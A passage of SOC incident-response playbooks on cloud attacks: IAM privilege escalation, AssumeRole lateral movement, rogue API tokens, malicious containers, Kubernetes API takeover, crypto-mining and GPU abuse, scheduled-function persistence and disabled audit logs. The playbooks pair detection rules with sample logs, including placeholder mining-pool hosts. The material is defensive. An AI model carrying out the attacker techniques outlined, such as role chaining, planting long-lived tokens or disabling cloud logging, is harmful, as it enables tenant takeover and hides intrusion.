In 2026, cloud attacks prioritise:

Identity over infrastructure

APIs over exploits

Permissions over malware

Cloud IAM escalation is dangerous because:

It is instant and scalable

It survives endpoint cleanup

It bypasses traditional SOC tooling
It enables full tenant compromise

Once IAM is compromised, **every cloud resource is exposed.**

4. Detection Logic

Trigger alert when:

IAM policies modified unexpectedly
Admin roles assigned outside change window
Privilege escalation via role chaining
Service account permissions expanded

Increase severity if:

Global admin or root roles assigned
Changes made via API from unusual source
Multiple role changes in short time
IAM change follows suspicious login

5. Log Data

Cloud Audit Log

2028-04-02 02:18:09 | IAM_ROLE_UPDATE |

actor=john.doe | role=GlobalAdmin | action=attach_policy

Policy Change

2028-04-02 02:18:12 | IAM_POLICY_ATTACH |

policy=AdministratorAccess | target=svc_app

Clear indication of **privilege escalation via IAM manipulation.**

6. Possible Attack Scenarios

Scenario A – Compromised User
Attacker upgrades their own role to admin.

Scenario B – Service Account Escalation
Over-privileged service account granted global access.

Scenario C – Silent Tenant Takeover
IAM modified first, workloads abused later.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm IAM change alert

L2 Analyst – Validate
Identify actor and change scope
Check approval and change records

IR Lead – Take Control

Questions to Answer
Who made the IAM change
Which roles were modified
What privileges were granted
What resources were accessed

Decision
Unauthorised IAM escalation → Crisis Incident

8. Incident Escalation Criteria

Immediate escalation when:

Global admin or root privileges assigned
Multiple IAM changes detected
Cloud control plane affected

Notify:

Cloud owners
Identity governance
Legal and compliance
Executive management

9. Containment Actions

Immediate Actions
Revoke elevated roles
Disable compromised identities
Invalidate active tokens

Short-Term Actions
Rotate credentials and keys
Review all IAM changes
Restrict API access

Critical Note

Do not lock out legitimate admins during containment.

10. Recovery & Validation

Confirm least-privilege restored

Audit cloud activity logs

Validate no backdoor roles remain

Monitor IAM changes continuously

Recovery must ensure **identity trust is rebuilt**.

11. Prevention & Hardening

Control: IAM Governance

Action: Approval-based role changes

Control: Monitoring

Action: Alert on privilege escalation

Control: Identity Security

Action: Conditional access and MFA

Control: Cloud Posture

Action: Regular IAM reviews

12. Mapping to NIST Incident Response

Preparation: Cloud IAM baseline

Detection: IAM change alert

Analysis: Permission impact review

Containment: Role revocation

Eradication: Credential rotation

Recovery: Secure re-enablement

Lessons Learned: IAM governance gaps

13. SOC Perspective

In the cloud,
admin access is the breach.

No malware required.

No exploit needed.

If IAM is compromised,
the attacker **owns the tenant**.

Protect identity,
or lose everything else.

BYZANTINE

[LATERAL MOVEMENT] PLAYBOOK 63: EXCESSIVE ASSUMEROLE

– CLOUD LATERAL MOVEMENT

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-063

Use Case Name: Excessive AssumeRole

MITRE ATT&CK Tactic: Lateral Movement

Technique ID: T1078.004

Technique Name: Cloud Accounts

Threat Category: Cloud Lateral Movement / Identity Abuse

Severity (Default): High

Escalation Severity: Critical → Crisis (if admin roles reached)

Applies To: AWS STS, Azure Entra ID, GCP IAM

SOC Ownership: IR Lead → Cloud Security → Identity Team → Executive Management

Incident Type: Cloud Account Pivoting

2. Threat Description

The attacker **abuses AssumeRole or equivalent role-switching mechanisms** to move laterally across cloud accounts, subscriptions or projects.

This typically follows:

Stolen access keys or tokens

Compromised cloud user or service account

Over-permissive trust relationships

Weak role trust policies

By chaining roles, the attacker expands access **without deploying malware**.

3. Why This Detection Matters in 2026

In cloud environments:

Accounts are interconnected by design

Role chaining is normal for automation

Logs are noisy and high-volume

Attackers exploit this by:

Blending malicious AssumeRole calls into automation traffic

Pivoting rapidly across environments

Accessing production from low-trust accounts

One compromised identity can **unlock the entire cloud estate**.

4. Detection Logic

Trigger alert when:

- High frequency of AssumeRole calls
- AssumeRole across unrelated accounts
- Role switches outside normal automation patterns
- AssumeRole from unusual IP, device or region

Increase severity if:

- Privileged roles assumed
- Cross-account admin access gained
- AssumeRole follows suspicious login or IAM change
- Multiple roles chained within short timeframe

5. Log Data

CloudTrail / Audit Log

2028-04-11 03:41:18 | ASSUME_ROLE |

principal=svc_ci | role=ProdAdmin | source_account=dev-123

Repeated Activity

2028-04-11 03:41:52 | ASSUME_ROLE |

principal=svc_ci | role=BillingAdmin | source_account=prod-001

Clear pattern of **role chaining and lateral movement**.

6. Possible Attack Scenarios

Scenario A – Dev to Prod Pivot

Attacker compromises dev account and pivots into production via trusted roles.

Scenario B – Service Account Abuse

CI/CD service account used to traverse multiple environments.

Scenario C – Silent Expansion

Attacker maps entire cloud estate using AssumeRole enumeration.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm excessive AssumeRole alert

L2 Analyst – Validate
Identify source identity
Compare against baseline role usage

IR Lead – Take Control

Questions to Answer
Which identity initiated AssumeRole
Which roles were assumed
Which accounts were accessed
What privileges were obtained

Decision
Abnormal role chaining → Cloud Lateral Movement Incident

8. Incident Escalation Criteria

Escalate immediately when:

Admin or root roles assumed
Production or regulated environments accessed
Multiple accounts affected

Notify:

Cloud platform owners
Identity governance
Security leadership

9. Containment Actions

Immediate Actions
Disable compromised identity
Revoke active sessions and tokens
Block cross-account role assumption

Short-Term Actions
Tighten trust policies
Restrict role chaining
Rotate access keys

Critical Note
Ensure automation workflows are not disrupted unintentionally.

10. Recovery & Validation

Review all AssumeRole activity
Validate least-privilege enforcement
Confirm no unauthorised roles remain
Monitor for repeated attempts

Cloud recovery focuses on **identity boundary restoration**.

11. Prevention & Hardening

Control: Role Trust Policies
Action: Limit trusted principals

Control: Monitoring
Action: Alert on excessive role switching

Control: Identity Security
Action: MFA for role assumption

Control: Architecture
Action: Account segmentation

12. Mapping to NIST Incident Response

Preparation: Cloud identity baseline
Detection: AssumeRole anomaly alert
Analysis: Role chain review
Containment: Disable identity
Eradication: Policy hardening
Recovery: Controlled re-enablement
Lessons Learned: Trust relationship review

13. SOC Perspective

In the cloud,
movement is permission-based.

If role assumption is unrestricted,
lateral movement is guaranteed.

AssumeRole is powerful.
Uncontrolled, it is a breach multiplier.

[PERSISTENCE] PLAYBOOK 64: API KEY CREATED UNEXPECTEDLY – TOKEN-BASED PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-064

Use Case Name: API Key Created Unexpectedly

MITRE ATT&CK Tactic: Persistence

Technique ID: T1528

Technique Name: Application Access Token

Threat Category: Cloud Persistence / Token Abuse

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Cloud IAM, SaaS APIs, Service Accounts

SOC Ownership: IR Lead → Cloud Security → Identity Team → Application Owners

Incident Type: Stealth Persistent Access

2. Threat Description

The attacker **creates long-lived API keys, access tokens or service credentials** to maintain persistent access to cloud services and applications.

This persistence survives:

- Password resets

- MFA enforcement

- User account disablement

Once issued, API tokens act as **headless identities**.

3. Why This Detection Matters in 2026

In modern environments:

- APIs are first-class citizens

- Tokens are rarely monitored

- Expiration is often misconfigured

Attackers prefer tokens because:

- They bypass interactive authentication

- They are hard to attribute to humans

- They blend into normal application traffic

- They persist silently for months

Token abuse is **one of the stealthiest persistence mechanisms**.

4. Detection Logic

Trigger alert when:

API keys created outside change window
Tokens created by non-admin identities
Long-lived or non-expiring tokens issued
Key creation follows suspicious login

Increase severity if:

Token has admin or write permissions
Token created from unusual IP or region
Multiple tokens created rapidly
Token linked to service account

5. Log Data

Cloud Audit Log

2028-04-18 01:55:32 | API_KEY_CREATE |

actor=john.doe | scope=FullAccess | expiry=None

Token Usage

2028-04-18 01:56:07 | API_CALL |

token_id=ak-9f2e | service=storage.list

Clear indicator of **persistent non-human access**.

6. Possible Attack Scenarios

Scenario A – Persistence Backdoor
Attacker creates token and logs out.

Scenario B – API-Only Compromise
No interactive logins used after initial breach.

Scenario C – Cloud Resource Drain
Token abused for crypto-mining or data theft.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm API key creation alert

L2 Analyst – Validate
Check approval and ownership
Review token scope and expiry

IR Lead – Take Control

Questions to Answer
Who created the token
What permissions were granted
Where is the token used
How long is it valid

Decision
Unauthorised token creation → Crisis Incident

8. Incident Escalation Criteria

Immediate escalation when:

Token has admin privileges
Token is non-expiring
Token used across multiple services

Notify:

Cloud security
Application owners
Identity governance
Executive management if sensitive data accessed

9. Containment Actions

Immediate Actions
Revoke suspicious tokens
Disable compromised identity
Invalidate active sessions

Short-Term Actions
Rotate all related credentials
Audit all token creation events
Restrict token permissions

Critical Note

Revoke tokens before disabling accounts to avoid blind persistence.

10. Recovery & Validation

Confirm no unauthorised tokens remain

Enforce token expiration

Validate API access logs

Monitor for re-creation attempts

Persistence must be **fully eradicated at identity layer**.

11. Prevention & Hardening

Control: Token Governance

Action: Expiry and scope enforcement

Control: Monitoring

Action: Alert on token lifecycle events

Control: Identity Security

Action: MFA and conditional access

Control: App Security

Action: Service account segregation

12. Mapping to NIST Incident Response

Preparation: Token inventory

Detection: API key creation alert

Analysis: Token usage review

Containment: Token revocation

Eradication: Credential rotation

Recovery: Controlled reissue

Lessons Learned: API governance gaps

13. SOC Perspective

Users log in.

Tokens don't.

If tokens aren't monitored,
persistence becomes invisible.

API keys are not convenience.
They are **permanent doors** if abused.

BYZUMER

[EXECUTION] PLAYBOOK 65: MALICIOUS CONTAINER DEPLOYMENT – ATTACKER-CONTROLLED WORKLOAD EXECUTION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-065

Use Case Name: Malicious Container Deployment

MITRE ATT&CK Tactic: Execution

Technique ID: T1610

Technique Name: Deploy Container

Threat Category: Container Abuse / Cloud-Native Execution

Severity (Default): High

Escalation Severity: Critical → Crisis (if cluster-admin or prod namespace impacted)

Applies To: Kubernetes, EKS, AKS, GKE, Container Registries

SOC Ownership: IR Lead → Cloud Security → Platform/Kubernetes Team → Executive Management

Incident Type: Cloud-Native Execution Compromise

2. Threat Description

The attacker **deploys a malicious container image** into a Kubernetes cluster or managed container service to execute attacker-controlled code.

This commonly happens after:

Compromised cloud credentials

Abused API tokens or IAM roles

Over-permissive Kubernetes RBAC

Exposed Kubernetes API servers

Instead of malware on endpoints, the attacker runs **workloads as infrastructure**.

3. Why This Detection Matters in 2026

In 2026, containers are:

Ephemeral

Highly trusted

Often under-monitored by SOC teams

Attackers use containers because:

They blend with DevOps activity
They scale automatically
They persist via deployments or cronjobs
They can mine crypto, exfiltrate data or pivot internally

A single malicious pod can compromise **the entire cluster**.

4. Detection Logic

Trigger alert when:

New container deployed outside CI/CD pipeline
Image pulled from untrusted or unknown registry
Container launched with privileged settings
Unexpected workload in sensitive namespace

Increase severity if:

Cluster-admin privileges used
HostPath or privileged mode enabled
Container accesses cloud metadata services
Deployment occurs after IAM or token abuse

5. Log Data

Kubernetes Audit Log

2028-05-02 02:26:41 | CREATE |

user=svc_app | resource=deployment | namespace=prod

Image Pull Event

2028-05-02 02:26:44 | IMAGE_PULL |

image=registry.io/infra/metrics:v3.9

Pod Spec

securityContext:

privileged: true

Clear indicator of **malicious container execution**.

6. Possible Attack Scenarios

Scenario A – Crypto-Mining Pod

Container mines cryptocurrency using cluster resources.

Scenario B – Internal Pivot

Malicious pod scans internal VPC and steals secrets.

Scenario C – Stealth Persistence

Deployment ensures pod respawns after termination.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm container deployment alert

L2 Analyst – Validate

Review image source

Check deployment origin

IR Lead – Take Control

Questions to Answer

Who deployed the container

Which image was used

What permissions were granted

What the container is doing

Decision

Unauthorised container deployment → Execution Incident

8. Incident Escalation Criteria

Escalate immediately when:

Production namespaces affected

Privileged or host-mounted containers detected

Cluster-admin credentials used

Notify:

Platform/Kubernetes team

Cloud security

Application owners

Management if service impact exists

9. Containment Actions

Immediate Actions

- Delete malicious pods and deployments
- Block image registry access
- Disable compromised credentials

Short-Term Actions

- Rotate Kubernetes service account tokens
- Restrict RBAC permissions
- Audit all recent deployments

Critical Note

Deleting pods without fixing RBAC or IAM will not stop redeployment.

10. Recovery & Validation

- Confirm no malicious workloads remain
- Validate namespace integrity
- Review cluster audit logs
- Monitor for redeployment attempts

Recovery must ensure **control plane integrity**.

11. Prevention & Hardening

Control: Image Security

Action: Allow-list trusted registries

Control: RBAC

Action: Least-privilege service accounts

Control: Monitoring

Action: Alert on abnormal deployments

Control: Admission Control

Action: Enforce Pod Security Standards

12. Mapping to NIST Incident Response

Preparation: Container security baseline

Detection: Deployment anomaly alert

Analysis: Workload behaviour review

Containment: Pod and credential removal

Eradication: RBAC and IAM hardening

Recovery: Controlled redeployment

Lessons Learned: Container governance gaps

13. SOC Perspective

In cloud-native environments,
attackers don't drop malware.

They deploy infrastructure.

If containers are ungoverned,
your cluster becomes their execution engine.

BYZANTINE

[PRIVILEGE ESCALATION] PLAYBOOK 66: KUBERNETES API ABUSE – FULL CLUSTER CONTROL

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-066

Use Case Name: Kubernetes API Abuse

MITRE ATT&CK Tactic: Privilege Escalation

Technique ID: T1613

Technique Name: Container Admin Command

Threat Category: Kubernetes Control Plane Compromise

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Kubernetes API Server, EKS, AKS, GKE

SOC Ownership: IR Lead → Platform/Kubernetes Team → Cloud Security → Executive Management

Incident Type: Cluster Takeover

2. Threat Description

The attacker **uses compromised Kubernetes credentials** (kubeconfig, service account token, cloud IAM integration) to interact directly with the Kubernetes API server.

With sufficient privileges, the attacker can:

- Create, modify or delete any workload
- Deploy privileged or host-mounted pods
- Access secrets across namespaces
- Modify RBAC to grant cluster-admin
- Disable logging or security controls

This represents **total loss of cluster integrity**.

3. Why This Detection Matters in 2026

Kubernetes clusters are now:

- Core production platforms
- Highly automated
- Deeply trusted by CI/CD and cloud services

Attackers target the API because:

No exploit is required
Everything is exposed via API
Actions look like admin operations
Impact is immediate and irreversible

Once cluster-admin is achieved, **the attacker owns the platform.**

4. Detection Logic

Trigger alert when:

kubectl or API calls from unusual source
RBAC roles or bindings modified unexpectedly
ClusterRoleBinding granting cluster-admin created
Secrets accessed across multiple namespaces

Increase severity if:

API access from non-cluster IPs
Service account token used outside expected workload
RBAC changes follow token or IAM compromise
Audit logging disabled or modified

5. Log Data

Kubernetes Audit Log

2028-05-09 01:18:27 | CREATE |

user=system:serviceaccount:default:app-sa |

resource=clusterrolebinding |

role=cluster-admin

Secrets Access

2028-05-09 01:19:03 | GET |

user=app-sa | resource=secrets | namespace=prod

Clear evidence of **cluster-level privilege escalation.**

6. Possible Attack Scenarios

Scenario A – Service Account Token Abuse
Attacker steals pod token and escalates via RBAC.

Scenario B – Exposed kubeconfig
Developer kubeconfig leaked and reused externally.

Scenario C – Silent Cluster Hijack
Attacker modifies RBAC first, then deploys workloads.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm Kubernetes API abuse alert

L2 Analyst – Validate
Identify identity used
Review RBAC changes

IR Lead – Take Control

Questions to Answer
Which credentials were used
What permissions were granted
Which namespaces were accessed
What workloads were modified

Decision
Unauthorised API control → Crisis Incident

8. Incident Escalation Criteria

Immediate escalation when:

cluster-admin privileges granted
Secrets accessed across namespaces
Control plane settings modified

Notify:

Kubernetes platform owners
Cloud security leadership
Application owners
Executive management

9. Containment Actions

Immediate Actions
Revoke compromised tokens and kubeconfigs

Remove malicious RBAC bindings
Block API access from attacker IPs

Short-Term Actions

Rotate all service account tokens
Invalidate kubeconfigs
Restrict API access via network policies

Critical Note

If attacker has cluster-admin, assume full compromise.

10. Recovery & Validation

Audit entire cluster state
Review all RBAC bindings
Validate workloads and images
Re-enable and verify audit logging

In high-impact cases, **cluster rebuild may be required.**

11. Prevention & Hardening

Control: RBAC Governance
Action: Minimise cluster-admin usage

Control: API Access
Action: Restrict by network and identity

Control: Monitoring
Action: Alert on RBAC and secret access

Control: Workload Identity
Action: Short-lived tokens and rotation

12. Mapping to NIST Incident Response

Preparation: Kubernetes security baseline
Detection: API abuse alert
Analysis: RBAC and workload review
Containment: Credential revocation
Eradication: Control plane hardening
Recovery: Secure cluster state
Lessons Learned: Kubernetes access governance

13. SOC Perspective

Endpoints can be cleaned.
Containers can be deleted.

But if the Kubernetes API is compromised,
the platform itself is hostile.

Control plane security
is non-negotiable.

BYZANTINE

[IMPACT] PLAYBOOK 67: CRYPTO-MINING BEHAVIOUR – RESOURCE HIJACKING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-067

Use Case Name: Crypto-Mining Behaviour

MITRE ATT&CK Tactic: Impact

Technique ID: T1496

Technique Name: Resource Hijacking

Threat Category: Cloud Resource Abuse / Financial Impact

Severity (Default): High

Escalation Severity: Critical (if widespread or production impacted)

Applies To: Cloud VMs, Containers, Kubernetes Clusters

SOC Ownership: IR Lead → Cloud Security → Platform Team → Finance / Management

Incident Type: Resource Abuse & Cost Impact

2. Threat Description

The attacker **deploys cryptomining software or workloads** on cloud virtual machines or container platforms to hijack compute resources.

This typically follows:

Cloud credential compromise

API token abuse

Kubernetes API takeover

Malicious container deployment

The attacker converts your infrastructure into **their mining farm**, often without immediate functional disruption.

3. Why This Detection Matters in 2026

Crypto-mining attacks are common because:

They are easy to deploy

They generate continuous profit

They blend into normal compute usage

They often evade traditional malware detection

In 2026, many incidents are first discovered by **billing anomalies**, not security alerts.

Unchecked mining leads to:

Excessive cloud spend
Performance degradation
Service instability
Hidden lateral movement opportunities

4. Detection Logic

Trigger alert when:

Sustained high CPU or GPU usage detected
Compute usage spikes outside business patterns
Containers or VMs run unknown mining binaries
Outbound traffic to known mining pools

Increase severity if:

GPU instances affected
Mining spans multiple accounts or clusters
Usage persists across reboots
Billing alerts coincide with security events

5. Log Data

Cloud Metrics

2028-05-17 00:12:45 | CPU_UTIL |
resource=vm-prod-07 | usage=98% | duration=6h

Network Log

2028-05-17 00:14:02 | OUTBOUND_CONN |
dest_pool=xmr.pool.example | port=3333

Container Runtime

process=miner | cpu=92% | image=unknown/compute:latest

Clear indicator of **unauthorised mining activity**.

6. Possible Attack Scenarios

Scenario A – Container Mining
Malicious pod mines cryptocurrency in background.

Scenario B – VM-Level Mining

Attacker installs miner on cloud VM via stolen credentials.

Scenario C – GPU Abuse

High-cost GPU instances abused for intensive mining.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm sustained resource abuse

L2 Analyst – Validate

Identify workload owner

Check image or binary legitimacy

IR Lead – Take Control

Questions to Answer

Which resources are affected

How mining was deployed

What credentials were abused

Cost impact and duration

Decision

Unauthorised mining → Resource Hijacking Incident

8. Incident Escalation Criteria

Escalate when:

Multiple workloads affected

Production performance impacted

High financial loss detected

Mining linked to identity compromise

Notify:

Cloud security

Platform teams

Finance and management

9. Containment Actions

Immediate Actions

Terminate mining workloads

Isolate affected VMs or pods
Block mining pool destinations

Short-Term Actions

Revoke compromised credentials
Rotate tokens and keys
Audit recent deployments

Critical Note

Stopping mining without fixing access control will lead to redeployment.

10. Recovery & Validation

Verify resource usage returns to baseline
Confirm no mining processes remain
Review billing and cost reports
Monitor for reappearance

Recovery includes **financial reconciliation and control review**.

11. Prevention & Hardening

Control: Resource Monitoring
Action: Alert on abnormal CPU/GPU usage

Control: Network Controls
Action: Block known mining pools

Control: Identity Security
Action: Least-privilege cloud access

Control: Container Security
Action: Runtime behaviour detection

12. Mapping to NIST Incident Response

Preparation: Resource baseline
Detection: Usage anomaly alert
Analysis: Workload behaviour review
Containment: Workload termination
Eradication: Credential rotation
Recovery: Cost and performance stabilisation
Lessons Learned: Cloud access governance

13. SOC Perspective

Crypto-mining is not harmless.

It signals **lost control**,
abused identity,
and unchecked access.

If attackers can mine today,
they can exfiltrate tomorrow.

BYZANTINE

[IMPACT] PLAYBOOK 68: GPU USAGE SPIKE – AI AND CRYPTO RESOURCE ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-068

Use Case Name: GPU Usage Spike

MITRE ATT&CK Tactic: Impact

Technique ID: T1496

Technique Name: Resource Hijacking

Threat Category: High-Cost Compute Abuse / Cloud Impact

Severity (Default): High

Escalation Severity: Critical (if sustained or production impacted)

Applies To: GPU VMs, Kubernetes GPU Nodes, AI Platforms

SOC Ownership: IR Lead → Cloud Security → Platform Team → Finance / Management

Incident Type: Financial and Performance Impact

2. Threat Description

The attacker **abuses GPU-enabled infrastructure** for unauthorised cryptomining or AI workload execution.

This may include:

- Mining cryptocurrency

- Training or fine-tuning AI models

- Running inference for external services

- Hidden workloads inside legitimate containers

GPU abuse often hides within **normal-looking ML or analytics workloads**.

3. Why This Detection Matters in 2026

In 2026:

- GPUs are premium resources

- AI workloads are widespread

- GPU costs are significantly higher than CPU

Attackers target GPUs because:

- High profitability

- Lower noise compared to CPU spikes

Legitimate usage masks abuse
Billing impact escalates rapidly

GPU abuse can cost **thousands per hour**.

4. Detection Logic

Trigger alert when:

Sustained GPU utilisation above baseline
GPU usage outside scheduled workloads
GPU jobs without approved pipeline
Unexpected scaling of GPU nodes

Increase severity if:

GPU usage persists after business hours
GPU nodes used in non-ML namespaces
Outbound traffic to mining pools
Billing alerts triggered concurrently

5. Log Data

GPU Metrics

2028-05-22 02:11:38 | GPU_UTIL |
node=gpu-node-03 | usage=97% | duration=4h

Kubernetes Event

2028-05-22 02:12:05 | POD_START |
namespace=default | image=ml/train:latest

Network Activity

dest=eth.pool.example | port=4444

Clear indicator of **unauthorised GPU exploitation**.

6. Possible Attack Scenarios

Scenario A – Crypto-Mining on GPUs
Mining workloads hidden as ML jobs.

Scenario B – AI Model Theft

Attacker trains proprietary models using stolen compute.

Scenario C – Cost-Based Denial

Exhausts GPU quotas, impacting legitimate teams.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm abnormal GPU usage

L2 Analyst – Validate

Identify workload owner

Check job legitimacy

IR Lead – Take Control

Questions to Answer

Which workloads consume GPU

Who deployed them

What model or miner is running

Cost and duration of abuse

Decision

Unauthorised GPU usage → Resource Hijacking Incident

8. Incident Escalation Criteria

Escalate when:

GPU usage sustained over threshold

Production or AI teams impacted

Billing costs spike significantly

Notify:

Cloud platform owners

Finance

Security leadership

9. Containment Actions

Immediate Actions

Terminate GPU workloads

Isolate affected nodes

Block mining pool traffic

Short-Term Actions

- Disable compromised identities
- Restrict GPU node access
- Audit recent deployments

Critical Note

GPU abuse often recurs if access paths remain open.

10. Recovery & Validation

- Confirm GPU usage returns to baseline
- Review cluster and VM configurations
- Validate billing corrections
- Monitor GPU utilisation closely

Recovery includes **financial, operational and security review.**

11. Prevention & Hardening

- Control: GPU Governance
- Action: Approval-based GPU access

- Control: Monitoring
- Action: Alert on GPU anomalies

- Control: Network Security
- Action: Block known mining endpoints

- Control: Identity Controls
- Action: Least-privilege workload access

12. Mapping to NIST Incident Response

- Preparation: GPU usage baseline
- Detection: GPU anomaly alert
- Analysis: Workload validation
- Containment: Job termination
- Eradication: Access control hardening
- Recovery: Resource stabilisation
- Lessons Learned: Cost governance

13. SOC Perspective

- GPUs are power.
- Power attracts abuse.

If GPU usage isn't governed,
cost becomes the attack vector.

Security now includes
financial and compute control.

BYZANTINE

[PERSISTENCE] PLAYBOOK 69: SCHEDULED CLOUD FUNCTION – SERVERLESS PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-069

Use Case Name: Scheduled Cloud Function

MITRE ATT&CK Tactic: Persistence

Technique ID: T1053.007

Technique Name: Scheduled Task (Cloud)

Threat Category: Serverless Persistence / Cloud Automation Abuse

Severity (Default): High

Escalation Severity: Critical (if admin roles or sensitive resources involved)

Applies To: AWS Lambda, Azure Functions, Google Cloud Functions

SOC Ownership: IR Lead → Cloud Security → Platform Team → Application Owners

Incident Type: Cloud Persistence

2. Threat Description

The attacker **creates scheduled serverless functions** to execute code periodically and maintain persistent access.

These functions may:

- Re-create IAM roles or API keys

- Exfiltrate data on a schedule

- Scan resources continuously

- Re-deploy malicious workloads

Serverless persistence is powerful because **nothing runs continuously**—it wakes up only when triggered.

3. Why This Detection Matters in 2026

In 2026:

- Serverless is everywhere

- Functions are cheap and ephemeral

- Monitoring is often minimal

Attackers exploit this because:

- No servers to monitor

- No malware on endpoints

Low operational visibility
Persistence survives credential cleanup

Scheduled functions can **reinfect cloud environments silently**.

4. Detection Logic

Trigger alert when:

New scheduled cloud function created
Functions added outside CI/CD pipeline
Function triggers modified unexpectedly
Functions created by non-application identities

Increase severity if:

Function has admin permissions
Function creates or modifies IAM resources
Function interacts with secrets or keys
Function scheduled frequently or indefinitely

5. Log Data

Cloud Audit Log

2028-06-01 02:07:12 | CREATE_FUNCTION |
name=metrics-sync | trigger=cron(* / 10 * * * *)

IAM Action

2028-06-01 02:07:35 | IAM_ATTACH |
role=metrics-sync-role | policy=AdministratorAccess

Clear indicator of **serverless-based persistence**.

6. Possible Attack Scenarios

Scenario A – Persistence Backdoor
Function recreates access after removal.

Scenario B – Data Drip Exfiltration
Scheduled exfiltration of sensitive data.

Scenario C – Continuous Recon
Function scans environment periodically.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm scheduled function alert

L2 Analyst – Validate

Identify creator and purpose

Review function code

IR Lead – Take Control

Questions to Answer

Who created the function

What permissions it has

What it executes

How often it runs

Decision

Unauthorised scheduled function → Persistence Incident

8. Incident Escalation Criteria

Escalate when:

Function has admin permissions

Function modifies IAM or secrets

Production environments affected

Notify:

Cloud security

Platform teams

Application owners

Management if data risk exists

9. Containment Actions

Immediate Actions

Disable or delete malicious functions

Revoke execution roles

Block triggering mechanisms

Short-Term Actions

Rotate affected credentials

Audit all scheduled functions

Review event rules and triggers

Critical Note

Remove triggers before deleting functions to prevent re-creation.

10. Recovery & Validation

Confirm no unauthorised functions remain

Validate scheduled triggers

Monitor function creation events

Review cloud audit logs

Persistence must be **fully removed from automation layer**.

11. Prevention & Hardening

Control: Serverless Governance

Action: Approval-based function creation

Control: Monitoring

Action: Alert on function lifecycle changes

Control: IAM Controls

Action: Least-privilege execution roles

Control: Code Security

Action: Scan function code regularly

12. Mapping to NIST Incident Response

Preparation: Serverless inventory

Detection: Function creation alert

Analysis: Code and permission review

Containment: Disable function

Eradication: Role and trigger cleanup

Recovery: Secure re-enablement

Lessons Learned: Automation governance

13. SOC Perspective

Serverless doesn't mean harmless.

If attackers control automation,
they control persistence.

Invisible infrastructure
is still infrastructure.

BYZEMER

[DEFENSE EVASION] PLAYBOOK 70: CLOUD AUDIT LOGS DISABLED – BLINDED SOC VISIBILITY

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-070

Use Case Name: Cloud Audit Logs Disabled

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1562.008

Technique Name: Disable Cloud Logs

Threat Category: Visibility Evasion / Cloud Control Plane Abuse

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: AWS CloudTrail, Azure Activity Logs, GCP Audit Logs

SOC Ownership: IR Lead → Cloud Security → Platform Team → Executive Management

Incident Type: Security Visibility Loss

2. Threat Description

The attacker **disables cloud audit logging or reduces log retention** to prevent detection, delay response and obstruct forensic reconstruction.

Common actions include:

- Disabling CloudTrail or equivalent

- Removing log sinks or export destinations

- Reducing retention periods

- Restricting SOC access to logs

- Altering log delivery permissions

This is a **deliberate attempt to blind defenders**.

3. Why This Detection Matters in 2026

In cloud environments:

- Audit logs are the primary source of truth

- Endpoints may not exist

- Actions occur entirely via APIs

Attackers disable logs because:

- It hides identity abuse

- It delays detection of privilege escalation

It erases evidence of data access
It increases dwell time

If logs are disabled, **you must assume active compromise.**

4. Detection Logic

Trigger alert when:

Audit logging service disabled
Log sinks deleted or modified
Retention period reduced unexpectedly
Log delivery permissions changed

Increase severity if:

Change made by non-logging admin
Logging disabled shortly after IAM escalation
Multiple regions affected
SOC access revoked

5. Log Data

Cloud Control Event

2028-06-08 01:41:09 | UPDATE_TRAIL |

trail=org-audit | status=DISABLED

Retention Change

2028-06-08 01:41:33 | LOG_RETENTION |

service=ActivityLogs | days=1

Clear indicator of **intentional visibility suppression.**

6. Possible Attack Scenarios

Scenario A – Covering Tracks

Logs disabled after IAM escalation and data access.

Scenario B – Pre-Exfiltration

Attacker blinds SOC before large data transfer.

Scenario C – Long-Term Stealth

Retention reduced to erase evidence over time.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm logging change alert

L2 Analyst – Validate

Identify who made the change

Review timing relative to other alerts

IR Lead – Take Control

Questions to Answer

Which logs were disabled

Who disabled them

What activity occurred before and after

How much visibility was lost

Decision

Audit log tampering → Crisis Incident

8. Incident Escalation Criteria

Always escalate when:

Cloud audit logs disabled

Log retention reduced below policy

SOC access removed

Notify immediately:

Cloud security leadership

Platform owners

Executive management

Legal and compliance

9. Containment Actions

Immediate Actions

Re-enable all audit logs

Restore retention to policy baseline

Lock logging configuration

Short-Term Actions

Restrict log management permissions

Enable organisation-wide logging

Export logs to immutable storage

Critical Note

Restoring logs does not recover erased evidence.

10. Recovery & Validation

Verify logging enabled in all regions

Confirm log delivery to SIEM

Review remaining logs for malicious activity

Monitor logging configuration continuously

Recovery focuses on **restoring trust and visibility**.

11. Prevention & Hardening

Control: Logging Governance

Action: Org-level enforced logging

Control: Monitoring

Action: Alert on logging changes

Control: Access Control

Action: Separate logging admins

Control: Retention

Action: Immutable log storage

12. Mapping to NIST Incident Response

Preparation: Centralised logging policy

Detection: Logging change alert

Analysis: Impact assessment

Containment: Re-enable logging

Eradication: Privilege restriction

Recovery: Visibility restoration

Lessons Learned: Logging governance gaps

13. SOC Perspective

If attackers can turn off logs,
they control the narrative.

Visibility is not optional.
It is the foundation of defense.

No logs means
assume breach.

BYZUMER

[DEFENSE EVASION] PLAYBOOK 71: WAF RULES MODIFIED – REDUCED PERIMETER PROTECTION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-071

Use Case Name: WAF Rules Modified

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1562

Technique Name: Impair Defenses

Threat Category: Perimeter Defense Degradation

Severity (Default): High

Escalation Severity: Critical (if production or internet-facing apps affected)

Applies To: Cloud WAF, API Gateway WAF, CDN Security

